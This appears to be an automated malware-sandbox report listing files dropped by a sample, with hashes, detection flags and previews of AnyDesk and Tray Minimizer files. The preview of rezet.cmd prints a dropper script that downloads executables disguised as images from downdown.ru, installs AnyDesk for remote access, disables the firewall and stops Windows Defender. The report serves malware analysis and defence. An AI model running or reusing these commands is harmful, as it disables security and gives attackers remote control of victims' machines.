Preview:	........p...........................................................................-...&.......T.......^.......i.......q.......\|...................).......#............................ ......' ......= ..!...F ......h ......\| ....... ....... ..C.... ...... ..9....!......>!......D!......J!..&...Z!.......!.......!..,....!..=....!.......!......."..8...."......X"......f"......n"......v"......z".......".......".......".. ....".......".......".......".......#.......#..9...)#../...c#.......#..3....#.......#.......#.......$.......$.......$......+$......E$......^$......=%......W%......_%..<...{%.......%.......%.......%..!....%.......%..!....%..-....&......K&......g&......~&..,....&.......&..4...j'.......'.......'..(....'..)....'..+....(..8...B(..F...{(.......(.......(.......(.......(.......).......)..2....)......K)......R)......h)..?...r)..5....)..6....).............5......J......^......i......o......y.......................%.............'......"....+......4+......P+......f+......

C:\Intel\Trays\locale\ru\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 381 messages, Project-Id-Version: 4t Tray Minimizer 6.0 '\320\241\320\272\321\200\321\213\321\202\321\213\320\265 \320\276\320\272\320\275\320\260'
Category:	dropped
Size (bytes):	36266
Entropy (8bit):	5.3347246127099375
Encrypted:	false
SSDEEP:	768:T0ZZdTK6uTp/d01snfhapyU9msUf0+mdDVTjMdsB/Sl5+kttuVVP:T0s/K1ohgUSdDb/qG
MD5:	BC2EC0D45FCA6058421637813799A6AA
SHA1:	0A894BE9964F1CF885742D214456466453E49BA8
SHA-256:	0BDA3AFA67B8D4DDE8769ABC0BDC3DB65B7607E3F4524618766F48026C7D23BD
SHA-512:	C1462688B5AB56B397808EE124CD3057994BEEBC49EBB815659CD995FA60CA26E5968EDB6CAB912944A1BFC895F05EE40F7EB048FA6004204ECA420E7E1BFF87
Malicious:	false
Preview:	........}................................................ ....... ......3 ......= ......F ..-...O ......} ....... ....... ....... ....... ....... ....... ..).... ..#.... ......!!......'!......C!......P!......f!..!...o!.......!.......!.......!.......!..C....!......"..9...-"......g"......m"......s"..&...."......."......."..,...."..=...."......(#......6#..8...H#.......#.......#.......#.......#.......#.......#.......#.......#.. ....#.......$.......$......$$....../$......G$..9...R$../....$.......$..3....$.......$.......%......;%......?%......E%......T%......n%.......%......f&.......&.......&..<....&.......&.......&.......&..!....&.......'..!...$'..-...F'......t'.......'.......'..,....'.......'..4....(.......(..+....(.......(..(....)..)...A)..+...k)..8....)..F....).............%......E......S......m......~................2...........................?......5...5+..6...k+.......+.......+.......+.......+.......+.......,.......,.......,......$,......1,......9,..%...N,......t,......

C:\Intel\Trays\locale\tr\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 196 messages, Project-Id-Version: 4t Tray Minimizer 6.05 'Pencereleri gizle'
Category:	dropped
Size (bytes):	10931
Entropy (8bit):	5.120322380449319
Encrypted:	false
SSDEEP:	192:S3o+iYb5QTlt8a6zqGnxXnNvo+alRbG7pyk7/sjrWOqsvzwhxLifNnhvGeWrQ:SY4iTr6z/x9vqrq7pyk7/a+2hn
MD5:	042CC2B2B39001F1DB68FCBA99BE8335
SHA1:	17F6BF2F16ABA09478F64E2A15E0C955862E36E1
SHA-256:	E38FA2ED6DE39F63EA787944A5D225A1D7DB8621A5D7B89C0C7D994FB51B88D4
SHA-512:	F40F4BDD0B748B8B1CF30B902D5CA7DE04CD7CD616D229593E4B565371B2F4559EA2B0E9528BA42F3E33FA692AE8358F3C8742E7634C6E233FA71C1736CF61AD
Malicious:	false
Preview:	................<.......\.......x.......y...........................................#...........................................,...!...5.......W.......k.......v.......\|........................................................................................... ...................%.......-.......8.......P.......[.......g.......................................................................................................,.......@.......K.......f.......l.......v.......~...........................................7......./......."...F.......i.......x.......}...................................(................................................... .......2.......B.......Z.......m.......................................................................................................................(.......?.......L.......S.......b.......n............................................................................................... .......4.......F.......V.......`.......k.......}...............

C:\Intel\Trays\locale\zh_CN\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 368 messages, Project-Id-Version: 4t Tray Minimizer 6.0 '\351\232\220\350\227\217\347\232\204\347\252\227\345\217\243'
Category:	dropped
Size (bytes):	26890
Entropy (8bit):	5.922360490957865
Encrypted:	false
SSDEEP:	768:nC72cm4Rtop/dSwwnvhafRtnwIa8GajYFdTyooCnCDGjI:Cq4y/cwmhbIa83jYDTyohjI
MD5:	16685492CB6B7501401CCC05FE445A6D
SHA1:	F2A2278850153B6C7DC39B5F3EFBCD592BD15F3A
SHA-256:	43636194082FFAB40B132C5A456BC9A3C5AD3BA0A8B36E8ACF550D2064F29AFC
SHA-512:	148039622A0CD18CFB58C3B05017F146F0A59C5A560CE2BF138219AB2029CC6E44E55208B78BA077AC6B326BDEF3EEDB5BEBE65E5AA37908EFBB0138F75963DB
Malicious:	false
Preview:	........p...........................................................................-...&.......T.......^.......i.......q.......\|...................).......#............................ ......' ......= ..!...F ......h ......\| ....... ....... ..C.... ...... ..9....!......>!......D!......J!..&...Z!.......!.......!..,....!..=....!.......!......."..8...."......X"......f"......n"......v"......z".......".......".......".. ....".......".......".......".......#.......#..9...)#../...c#.......#..3....#.......#.......#.......$.......$.......$......+$......E$......^$......=%......W%......_%..<...{%.......%.......%.......%..!....%.......%..!....%..-....&......K&......g&......~&..,....&.......&..4...j'.......'.......'..(....'..)....'..+....(..8...B(..F...{(.......(.......(.......(.......(.......).......)..2....)......K)......R)......h)..?...r)..5....)..6....).............5......J......^......i......o......y.......................%.............'......"....+......4+......P+......f+......

C:\Intel\Trays\locale\zh_TW\LC_MESSAGES\default.mo

Download File

Process:	C:\Intel\driver.exe
File Type:	GNU message catalog (little endian), revision 0.0, 368 messages, Project-Id-Version: 4t Tray Minimizer 6.0 '\345\267\262\351\232\261\350\227\217\347\232\204\350\246\226\347\252\227'
Category:	dropped
Size (bytes):	27374
Entropy (8bit):	5.949578124832502
Encrypted:	false
SSDEEP:	768:nCjO4top/dSwwnvhafRtn481a11/FzwQdgUsTn:Cc/cwmhh8o11NzwQajr
MD5:	AAC7D05144F6E170F721193C657E5A68
SHA1:	1BB2EC3F5CAAD65C7195F25115FA5B7A5002017A
SHA-256:	53ECEF37900D2EF861E981F8D3627B833D1FACD4673915649EC5031238FF01CE
SHA-512:	5691E673C930A7AB945485882826DF930E8AC32FF3875DCC2CF7B491711198D1675380EA939ACCD36800C86616C94F3AF52884051993D12DF1C329EDF20ADF4A
Malicious:	false
Preview:	........p...........................................................................-...&.......T.......^.......i.......q.......\|...................).......#............................ ......' ......= ..!...F ......h ......\| ....... ....... ..C.... ...... ..9....!......>!......D!......J!..&...Z!.......!.......!..,....!..=....!.......!......."..8...."......X"......f"......n"......v"......z".......".......".......".. ....".......".......".......".......#.......#..9...)#../...c#.......#..3....#.......#.......#.......$.......$.......$......+$......E$......^$......=%......W%......_%..<...{%.......%.......%.......%..!....%.......%..!....%..-....&......K&......g&......~&..,....&.......&..4...j'.......'.......'..(....'..)....'..+....(..8...B(..F...{(.......(.......(.......(.......(.......).......)..2....)......K)......R)......h)..?...r)..5....)..6....).............5......J......^......i......o......y.......................%.............'......"....+......4+......P+......f+......

C:\Intel\Trays\newsletter.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/newsletter.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.575813497443379
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3rWJAhYn:HRYFVm/r4bEJD
MD5:	DA4B9F72255126C0DBA81B307613197D
SHA1:	ED1D195ABFD809B37D34979D4298C68199A7FD87
SHA-256:	8A31785AD405D814CF4D25C95C5D29FFB4C3A33D2B9194C4F88C9AF67356EF78
SHA-512:	21825FFA2B6B1E31F4230D4D7BF585010187BE8D4ADE401357FFAC25D0D5A03281D74FFA17CFAE84279B1AC6369B43BC386E57260F73EB46E16F7EAD9141AE96
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/newsletter.html..

C:\Intel\Trays\order.txt

Download File

Process:	C:\Intel\driver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1635
Entropy (8bit):	4.559163323877702
Encrypted:	false
SSDEEP:	24:e7RkJbOck5g9Xnp5XgefOhqKjDk+5kdpdWbck:w0bOd0XjwefOhhkRfdNk
MD5:	9CEF843EC120E85CD9FE38A5AB12CD36
SHA1:	85FCBC458AA0AA6923F5D3280CED69AFC4BD099D
SHA-256:	B1F55C00EB7556ACF95715441A310B5B051C0DB73B5120388B2863AB27A271FD
SHA-512:	3BF7DFD05F30A102A8F7471134F26F4FAEECD17DE475CE71FA64EC89C8E8DF5E171261CDCC0FAB4B5EC1A084C116601013EA23A9E08BF555046244CAB7EED62D
Malicious:	false
Preview:	..4t Tray Minimizer Pro 6.07: How to order?..=============================================......(1) Pricing..===========.... A single license with 1-year of updates and support for full .. featured 4t Tray Minimizer Pro 6.07 is $19.95. .. Check latest price at .. http://www.4t-niagara.com/tray_order.html......(2) Full version benefits..=========================.... - All customization settings are stored.. - 1-year of free updates.. - 1-year of technical Support by e-mail.. - New version and updates notification by e-mail.. - Discounts for other products from 4t Niagara Software......(3) Order single license..========================.... The licensed product may be used by one and only one of the .. following ways:.... 1) Personally by a single person, who uses the software on .. one or more computers.... 2) Installed on a single workstation used nonsimultaneously .. by multiple people......(4) How to order..=======================

C:\Intel\Trays\order.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/tray_order.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.673203928779382
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3xEchXw5RJn:HRYFVm/r4bQchin
MD5:	7C86A88BA20294EFD1723D14CADC9431
SHA1:	A5A2E5F5283A462AB6234BDF1F8393B06FFCDF12
SHA-256:	E22AB4D66DC48DEEEE0142AED2FAB0E38E73D9B2D3AC275C025F3D05C082201E
SHA-512:	2FB71F3BF84F96635DEFC34CA86D13D805B6B70B815DEC3160E444CB32AC8D5D3790C676D391C4954E2412E7E6A1A431F6548372D099C9DB939CA73AE1BEFA1C
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/tray_order.html..

C:\Intel\Trays\product.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/tray.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.614282214221932
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3xEcLDJn:HRYFVm/r4bQcPJ
MD5:	98FF41BD6C4DCFE5257FAFF4AA39E5E6
SHA1:	2F5EC6409EDA4DF5B025B6DF2F70B525160A83FE
SHA-256:	8CBFBB70978E889723BF228201E634F55289A7F50F7B9874895A08BE6CEA64ED
SHA-512:	7C18E2DAB463EEDF117EE9135DE2E7A186C2751F87122F55C0B5F18243064651AF40C146BBC28524FECB817D0881431C52A6FD65D3B233FA6C4F98ABA15EF550
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/tray.html..

C:\Intel\Trays\readme.txt

Download File

Process:	C:\Intel\driver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6436
Entropy (8bit):	4.99297727082377
Encrypted:	false
SSDEEP:	96:+aRuMaCRmK/5kMDV5fA0+1qAZ4DM3KrN5rK+0pSxfJ3GxRQ:buuRmKdDvx+1qYsMGXK+9fJ3GxG
MD5:	B265E96281ACD6A3EF5BDEF6C1642F1B
SHA1:	3BB6D53BE5EA3BAD90AFB43612AC83F58D2304AD
SHA-256:	E73559186F801BC9392554CCE951E481DEA9E652494FBA74EE4A7138A74C90DD
SHA-512:	9983E34B4F567D6B8A103BBD42E09AE0B0AF539B03F2CB8DFD929D4054B42A13C83D32E738DF1066C43DDDC422DB31DEF7D511CAE8C047249C993BC789F805C7
Malicious:	false
Preview:	..4t Tray Minimizer 6.07..===========================......CONTENTS..========....(1) DESCRIPTION..(2) MAIN FEATURES..(3) SYSTEM REQUIREMENTS..(4) SETUP.. Installing 4t Tray Minimizer.. Uninstalling 4t Tray Minimizer..(5) ORDERING FULL VERSION..(6) LICENCE INFORMATION..(7) THIRD-PARTY SOFTWARE..(8) MORE PRODUCTS.. 4t Calendar Reminder MP3.. 4t HIT Mail Privacy.. 4t Web Camera..(9) CONTACT INFORMATION........(1) DESCRIPTION..===============....4t Tray Minimizer lets you running applications minimized as ..System Tray icons, which helps in adjusting free space ..on your taskbar. ....Free version of 4t Tray Minimizer stores the Favorites options ..only for the current session. Check the Comparison Chart between ..Free and Pro versions here:.. .. http:\\www.4t-niagara.com\tray_comparison.html......(2) MAIN FEATURES..=================....Please go to this link:.... http://www.4t-niagara.com/tray.html.. ....(3) SYSTEM REQUIREMENTS..======================

C:\Intel\Trays\unins000.dat

Download File

Process:	C:\Intel\driver.exe
File Type:	InnoSetup Log 4t Tray Minimizer, version 0x418, 21084 bytes, VIVOBOOK\\USER\376\, C:\Intel\Trays\376\377\377\007
Category:	dropped
Size (bytes):	21084
Entropy (8bit):	3.9125638161274416
Encrypted:	false
SSDEEP:	192:JCXt8VdouvwpZoD24lhdgBrf1jH0FHRos:JCXyVdoupgBr9H0FHes
MD5:	8B7C19436A7674B89E2BC8BF1BC628AC
SHA1:	3EBF6316D997C0894B6B5C36A4BE229354C92821
SHA-256:	FFC630E3572536E14DAA4A43DA06A38F8C6C70373F700D734CD3FB84E4700504
SHA-512:	5E1F19C2C30D284EF129369A914648EA32819D9686CD411DBB3078604368E8314CBC762DC50CD71CB3A374C3A0C01BECCE88C3BEF82EF8A37B201289B001735C
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................4t Tray Minimizer...............................................................................................................4t Tray Minimizer.......................................................................................................................\R..%...............................................................................................................<0.3........4.U.......Y........V.I.V.O.B.O.O.K......U.S.E.R......C.:.\.I.n.t.e.l.\.T.r.a.y.s..................:.... .....j....r...IFPS....................................................................................................................................................................BOOLEAN..........{...........!MAIN....-1.\|...........INITIALIZESETUP....27..REGISTERWINDOWMESSAGE........FINDWINDOWBYCLASSNAME........SENDMESSAGE...........SLEEP........SENDBROADCASTMESSAGE..........ISWIN64...............................`.........rwmQUIT_APP

C:\Intel\Trays\unins000.exe

Download File

Process:	C:\Intel\driver.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1203807
Entropy (8bit):	6.40760510131349
Encrypted:	false
SSDEEP:	24576:JtdAm9DUi/CR3wCkCiRgoG7hBaHkbEXXeG/jFt5lTxyt6:3qTytRFk6ek1L9
MD5:	F713851CFCA66E37F80C8AA949B1B5AA
SHA1:	BC64DBDEDE8B4AB043A17BF0A1C8C6278E715B7E
SHA-256:	A57CFD11D66E89572224F2648D1CB2FE71030E572B9CD2CAA08074A992841A91
SHA-512:	406D168AEF0251A7F18FC2F94EE92EFFBC690B9D9B99D00296061E964C4880B6CCFBB6D7936FEEB75944D8FEE1973BABC55EC6E683D409249E2A81F7BCE6C06E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......W............................l........ ....@.......................................@......@..............................@8...0....................................................... .......................................................text............................... ..`.itext.............................. ..`.data...h0... ...2..................@....bss.....a...`.......0...................idata..@8.......:...0..............@....tls....<............j...................rdata....... .......j..............@..@.rsrc........0.......l..............@..@....................................@..@........................................................................................................................................

C:\Intel\Trays\wishlist.url

Download File

Process:	C:\Intel\driver.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<http://www.4t-niagara.com/tray_next.html>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.665701415423743
Encrypted:	false
SSDEEP:	3:HRAbABGQYm/0S432ZEZ3xEcg6NuJyn:HRYFVm/r4bQc2Jy
MD5:	E99E79543800A08FEC9EA2D600120CAC
SHA1:	252A73626CBE72B7597ACD90311C55C331672A91
SHA-256:	90E0CFB4F27009D58BB61EFCDEA1F767DC0BB860C08820BB05071E720AFF59D6
SHA-512:	A1C60B2AA2667A7B869275224DAB7FAE4671A5B8ADE8114D69443CA1DC9D1CA15B2150D62548075F4241E3697F09B5B11877961CDFC2D22E7E541D68F77AD792
Malicious:	false
Preview:	[InternetShortcut]..URL=http://www.4t-niagara.com/tray_next.html..

C:\Intel\blat.exe

Download File

Process:	C:\Intel\curl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	245760
Entropy (8bit):	5.8308335350962235
Encrypted:	false
SSDEEP:	6144:9MrfThXeQPSDOTvVNLSV3T5gV6K1TkGVKYzNJ9DPi:4fThXeZSDSV3T5gV6K1dNJB
MD5:	34C6DFA28C293B5F21A77F74D94DE16B
SHA1:	04F02B3A69AF2F6A2FE1FF05BFFA8DFE2E39FA96
SHA-256:	E613D07619B28F896B4ADF24D888CF52814FA2EB89F261F2E4715485954251B7
SHA-512:	6BEFDF06B2EEFF8EA1AD4EF82CEBDFDF5E50BE8886C297C16682A973CA14BB2430F34BDDFF6C307641B764DA743447278E5D2145E16B20B8EC6B6A6325C6C479
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\)..=G..=G..=G..=F..=G.."T..=G.q!I..=G.."M.q=G.."L..=G.J;A..=G.Rich.=G.........................PE..L...,v.b.................`...................p....@..........................................................................q..P....................................................................................p...............................text...:Y.......`.................. ..`.rdata.......p.......p..............@..@.data....[.......0..................@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Intel\curl.exe

Download File

Process:	C:\Users\user\Desktop\eqRHH2whJu.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1793024
Entropy (8bit):	6.741879818708683
Encrypted:	false
SSDEEP:	24576:goyH7YomxViffSzoGX0HHdzj2YFvbKRAIM8SUnEtkUdHZZf6zCpSwxoqK9n5Ihq/:Bh76f1FxoQ0SOyFTbTxRPJm9YM
MD5:	9542F4AC0CAEFA766BD67BA879ED2DD4
SHA1:	EF93BF4C28FE70A90AE42E64A55900A6CB756EEC
SHA-256:	78DBE1FBBC7E5F51FA385BE08BB679251E46B43BE690FBC49C412D9D4F647A10
SHA-512:	26BE5184C394C5FEAB422D3AFBF83E469DFB19DA5F45B70642ACACE742A74DBB8E569A2FEE727D244C7CF220CB8D84DBFEDBA842D0C4F84927746228FDBF68D0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X......B...B...B.a~B...B..XB3..B..fB...B..YB...B.>rB...B...B...Ba.]Bz.B..bB...Ba.gB...BRich...B........PE..L...A..T.............................'............@.......................................@.................................d...x.......................................8............................w..@............................................text............................... ..`.rdata..H...........................@..@.data....$...........\|..............@....rsrc................`..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Intel\dc.exe

Download File

Process:	C:\Intel\curl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	831888
Entropy (8bit):	6.990827113590936
Encrypted:	false
SSDEEP:	12288:daWzgMg7v3qnCiIErQohh0F4nCJ8lnyhQaQDErWt5x:8aHMv6CErjDnyhQasMix
MD5:	139464919440E93E49C80CC890B90585
SHA1:	0237408CDB74AD6B8D340CDF0D03C1B1F820CE17
SHA-256:	CE3A6224DAE98FDAA712CFA6495CB72349F333133DBFB339C9E90699CBE4E8E4
SHA-512:	D6993D7568F6B39BF2BA0C0988EB30B9506DC05D50AEF693D22A64C34E0D5CD5BDB32A828B666C9C37F116DEBA63B10CE662B9E42AD1025A7B05EB0B32251A1C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i.i.i..9.k.`.:.w.`.,...`.+.P.N%.c.N%.H.i.d.`. ./.w.:.k.w.;.h.i.8.h.`.>.h.Richi.........................PE..L......K..........#..................c....... ....@..........................p......\| ........@.......@.....................<...T.................................................................................... ..@............................text............................... ..`.rdata..\.... ......................@..@.data............h..................@....rsrc................H..............@..@................................................................................................................................................................................................................................................................................................................................

C:\Intel\driver.exe

Download File

Process:	C:\Intel\curl.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	300032
Entropy (8bit):	6.500047150408548
Encrypted:	false
SSDEEP:	6144:IrughCeBm7vbQlCwPakaBstCRvIX6kth2mbh7:IrlfQ7CsBkCRvI
MD5:	29086D9247FDF40452563C11B3DCA394
SHA1:	33B264F85CAA86FCD81E5FD75E654A9A1A4C26C8
SHA-256:	BB243113D236F823ABD1839025190E763FE34C40DA4949B77558995CC1A07625
SHA-512:	3DC8E3E61FB1F2D98F7482EAB464CB0C356F5616CC3D3BC74932E39F47D632A4DDC307222B6B219FAE36A0BCA04D0CB09C8DAFF00C15C22C5F1811DB479086AE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L.....H.................0...................@....@.............................................. ......................g....................................................................p.......................................................text....0.......&.................. ..`.data.... ...@...F...,..............@....tls.........`.......r..............@....rdata.......p.......t..............@..P.idata...............v..............@..@.edata..............................@..@

C:\Intel\rezet.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	777
Entropy (8bit):	4.940501657793061
Encrypted:	false
SSDEEP:	24:FAKjBKLmkJLNJJLXMzl+JLsRHJLP6JLJzzLifN4u0W+Lzi0:Flj8bJDJg5+JeHJuJVPLit0jP
MD5:	95F58D9588A97F586CCAEEDA9FF6CD00
SHA1:	6796DAF3DED7D0F1DC1D63E8A5A1DCF8E6F6AB03
SHA-256:	2567291C2A82C25F93143F35BB1E8664185AD8C16D125BE4AD720AE94128391E
SHA-512:	F75A84726E3A9A52CBDC4F9065BF11C0A9E4867EF2FF8224F8690CBB7B4009E71173AF75C379DA21ABBEED4C328A51CE517B403E5BE31DE12E0A9929D5A0E192
Malicious:	true
Preview:	cd C:\Intel\..ping -n 6 127.0.0.1..C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg..C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg..C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg..C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg..C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg..C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg..C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y..start C:\Intel\Trays\Trays.lnk..svchost.exe --install C:\Intel\AnyDesk..netsh advfirewall set allprofiles state off..sc stop WinDefend..C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg.. C:\Intel\AnyDesk\bat.lnk..

C:\Intel\svchost.exe

Download File

Process:	C:\Intel\curl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	5331456
Entropy (8bit):	7.99990183000247
Encrypted:	true
SSDEEP:	98304:K/9YNbhcFtvWK+XJURR51NX6hzzVwDmIoEWXF5fX+LWHF7uC+:KCNbhcF1WKW6whfOjGvAWHM
MD5:	39F35F94DB3D8CD6B2811D1A5C4E5BDA
SHA1:	6AEDB74E3C6B886A2945323C8789B32891CA12A2
SHA-256:	7F813D6552F20F2E761807E94C34EDCFE91570A9D637C82C955AE52768367046
SHA-512:	8E009A0E4398EDBCDB7BEE17F37AE5885935E910348F0FC2FFE838BBFFB2B56BF6DE9BB7F34B08C04DD8ABB1C29C0313006697872D9EBF09950947B96758F16D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........h.}.;.}.;.}.;..";.}.;..#;.}.;...;.}.;...;.}.;Rich.}.;........................PE..L....X.f..........".........0Q..T%..........@....@...........................v......Q...@...................................................................v.......%..............................................................................text...w(......................... ..`.itext...T%..@...........................rdata........%.....................@..@.data....&Q...%..$Q..2..............@....reloc........v......VQ.............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AnyDesk\ad_svc.trace

Download File

Process:	C:\Intel\AnyDesk\AnyDesk.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24691
Entropy (8bit):	4.390208818125081
Encrypted:	false
SSDEEP:	192:6zs7MOrGXybtGC11REXu03p63xiDoGbY3vEI9MrHAFfo7znx/E90x8EZTP3nImg9:bx9j9MrHAFfo7znx/E6x1ZT3Imgqcl
MD5:	2C96E4B3C926EE41CC2D985C8FF2E515
SHA1:	00D3896FE194ADAACC9C34FA29B1B81692DC6400
SHA-256:	56F2CEFA066D3AAFE166BE043F19AC2867CFD3415585D676A32A4A6BA6804EEC
SHA-512:	E46E16EBFAFBA9278743025FFA5DD0F7727791B68EB6A4BC31F7C7B1BF51FA19BAB197A1FC7CBC239E5F7EDCEF8087A38B7386B17EC65F2C9216B3FE574A54B6
Malicious:	false
Preview:	* * * * * * * * * * * * * * * * * .. info 2025-01-08 16:19:55.344 gsvc 8320 8572 main - AnyDesk Windows Startup .. info 2025-01-08 16:19:55.344 gsvc 8320 8572 main - Version 8.0.14 (release/win_8.0.14 13967ce7c71d8c19a49dd697dbd0dec1c8d166bf).. info 2025-01-08 16:19:55.344 gsvc 8320 8572 main - * Checksum 3b1bfbef334434f66640155f39e4c33b.. info 2025-01-08 16:19:55.344 gsvc 8320 8572 main - * Build 20240822172725.. info 2025-01-08 16:19:55.344 gsvc 8320 8572 main - * Copyright (C) 2024 AnyDesk Software GmbH *.. info 2025-01-08 16:19:55.344 gsvc 8320 8572 main - .. info 2025-01-08 16:19:55.344 gsvc 8320 8572 main - Command Line params: "C:\Intel\AnyDesk\AnyDesk.exe" --ser

C:\ProgramData\AnyDesk\service.conf

Download File

Process:	C:\Intel\AnyDesk\AnyDesk.exe
File Type:	ASCII text, with very long lines (1747)
Category:	dropped
Size (bytes):	2898
Entropy (8bit):	6.040051381670682
Encrypted:	false
SSDEEP:	48:uISTl6iDs15D+PxII+SjiPDGyMALfMJA7e27ysPI+2X6tk+rfQa1jiR:uISTYisV+PWPS2rmYeqp7ysPlxk+Ma1O
MD5:	3CB5B423EB053BF59A1DFE723BCB5874
SHA1:	6989C437FFFDAB32040F3A0251EC995F472242DE
SHA-256:	9177F2E7C6CE3BFC392CD65632E054F372B705E1A53A33C687FCEC082A0DC60A
SHA-512:	2164159E6AA441B093CCA6B3671C25752E8A179FB1199E12B28B50AB169B07720636EB8C57CE0462C808A6067EFBCD7AE06EB36FE3F95AF06E90BBCAF5478D50
Malicious:	false
Preview:	ad.anynet.cert=-----BEGIN CERTIFICATE-----\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\nbGllbnQwIBcNMjUwMTA4MTYxOTU2WhgPMjA3NDEyMjcxNjE5NTZaMBkxFzAVBgNV\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\nAQEA6sL7i4P6Y/MDuPdi8Aue8Iau0P3MsoXSnuKf9d/UAyqzHE3SqoLatnip9lfq\nIdtmfgFpFfnybV8NF8QtJ+VZQzHdxJz27WnBKqaFo7IIOdUsQz/sWThOoCIOcLWs\nsJUpLSGiRm6QqkHJqmeFe6STPJr4RY799xF/d2vcHONMI/05OCXDKWL42wKVJjTC\nbFiddprBSv9Eo0yruIh3E4EHoFDbGHNJqd8TXIuVZ+23JmIS4VMEBQ8ohQghX7sb\nds7Mt2Uw5Q5/OPL8LWvSngQqMC+KkWtPJ2O9yV6dWi2hm6vgx6BbR6/KajVJYpNM\nNxxdRtuMztGIRydDPVOdmDJkcQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQDCevf5\n1OSzJgq7AToRQ/WycWV+MO/mSUHQtPLbqs62/XGb/wGfJhoO9vq9PNbS4hpXqZKl\nUgjlhvWJBXIk2T1SqmISgJ/pivlQEuiafRj0JBPLvAp0wapMMJreEIXItHrmLVM2\ni9H0SWE+dzTiUlcnZn49u/1DldC7d1xLL7/LuDjnDCLlijeeew4THxPyOzdGXUVJ\nbpsvRzk2p/SX32S7EXN3XuymYLH8NSmgCul6CQCrLzYcJlUetPfzImhK5cR8Hmvn\nlklE6zJ4H/L1r9eXpqVCsMdZZoKedF8M30mWbotFaDIMWqk2YPG1PJgC4AiwiqTr\n5VTkbPLA/ANCvfG/\n-----END CERTI

C:\ProgramData\AnyDesk\system.conf

Download File

Process:	C:\Intel\svchost.exe
File Type:	ASCII text
Category:	modified
Size (bytes):	735
Entropy (8bit):	4.710110635401886
Encrypted:	false
SSDEEP:	12:owgWC1wWqQHvWhOeDMroBGgFBGgIiONjfDP9gWZww0SHcp+5:LzAwrDMtBP5fj9UwBHSk
MD5:	BF971BE630FFE54C348EFE12802AC363
SHA1:	4B3C3DBDC337E822D8AD2C661D0952B80F755741
SHA-256:	AD52F544FCF0F3DCBF9FBA14EEB3085BF1F380A360AD88432D8FE6B84187C486
